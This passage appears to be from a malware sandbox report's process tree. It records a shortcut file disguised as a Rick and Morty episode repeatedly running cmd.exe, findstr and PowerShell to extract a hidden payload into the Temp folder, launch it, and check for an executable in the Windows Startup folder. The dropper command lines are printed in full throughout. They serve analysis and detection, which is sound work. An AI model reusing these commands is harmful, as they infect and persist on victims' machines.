        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0559" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        153⤵
        
        PID:3144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        153⤵
        
        PID:2748
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        154⤵
        
        PID:1700
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0623" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        155⤵
        
        PID:1132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        155⤵
        
        PID:4860
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        156⤵
        
        PID:4760
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0681" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        157⤵
        
        PID:5520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        157⤵
        
        PID:1092
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        158⤵
        
        PID:5848
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0739" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        159⤵
        
        PID:252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        159⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4876
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        160⤵
        
        PID:1776
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0805" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        161⤵
        
        PID:2848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        161⤵
        
        PID:5524
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        162⤵
        
        PID:2112
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0862" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        163⤵
        
        PID:3012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        163⤵
        
        PID:3976
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        164⤵
        
        PID:3636
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0914" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        165⤵
        
        PID:2580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        165⤵
        
        PID:4268
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        166⤵
        
        PID:1988
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0969" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        167⤵
        
        PID:5148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        167⤵
        
        PID:1684
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        168⤵
        
        PID:4492
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0026" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        169⤵
        
        PID:5588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        169⤵
        
        PID:4508
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        170⤵
        
        PID:1628
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0083" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        171⤵
        
        PID:5164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        171⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5192
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        172⤵
        
        PID:768
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0142" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        173⤵
        
        PID:2792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        173⤵
        
        PID:1740
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        174⤵
        
        PID:1924
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        175⤵
        
        PID:1120
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0203" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        175⤵
        
        PID:2576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        175⤵
        
        PID:224
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        176⤵
        
        PID:2044
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0256" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        177⤵
        
        PID:4936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        177⤵
        
        PID:3060
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        178⤵
        
        PID:404
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0320" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        179⤵
        
        PID:2968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        179⤵
        
        PID:2288
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        180⤵
        
        PID:3544
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0378" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        181⤵
        
        PID:4248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        181⤵
        
        PID:4568
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        182⤵
        
        PID:3012
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0439" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        183⤵
        
        PID:1224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        183⤵
        
        PID:5248
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        184⤵
        
        PID:4764
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0500" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        185⤵
        
        PID:4672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        185⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4556
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        186⤵
        
        PID:5432
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0564" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        187⤵
        
        PID:4632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        187⤵
        
        PID:5032
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        188⤵
        
        PID:3448
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0623" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        189⤵
        
        PID:3800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        189⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1188
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        190⤵
        
        PID:2696
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0686" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        191⤵
        
        PID:1632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        191⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2660
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        192⤵
        
        PID:5928
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0759" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        193⤵
        
        PID:4572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        193⤵
        
        PID:5300
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        194⤵
        
        PID:4496
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0825" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        195⤵
        
        PID:6000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        195⤵
        
        PID:5348
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        196⤵
        
        PID:5044
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0880" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        197⤵
        
        PID:5216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        197⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:836
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        198⤵
        
        PID:5260
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0940" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        199⤵
        
        PID:4124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        199⤵
        
        PID:2144
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        200⤵
        
        PID:5408
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0998" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        201⤵
        
        PID:3096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        201⤵
        
        PID:8
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        202⤵
        
        PID:3540
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0061" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        203⤵
        
        PID:5200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        203⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6104
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        204⤵
        
        PID:2296
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0112" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        205⤵
        
        PID:5108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        205⤵
        
        PID:3760
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        206⤵
        
        PID:4828
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0172" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        207⤵
        
        PID:3440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        207⤵
        
        PID:3392
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        208⤵
        
        PID:972
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0228" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        209⤵
        
        PID:3244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        209⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6120
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        210⤵
        
        PID:5940
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0281" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        211⤵
        
        PID:3144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        211⤵
        
        PID:2576
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        212⤵
        
        PID:5756
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0336" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        213⤵
        
        PID:3220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        213⤵
        
        PID:2908
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        214⤵
        
        PID:5392
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0411" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        215⤵
        
        PID:5008
        
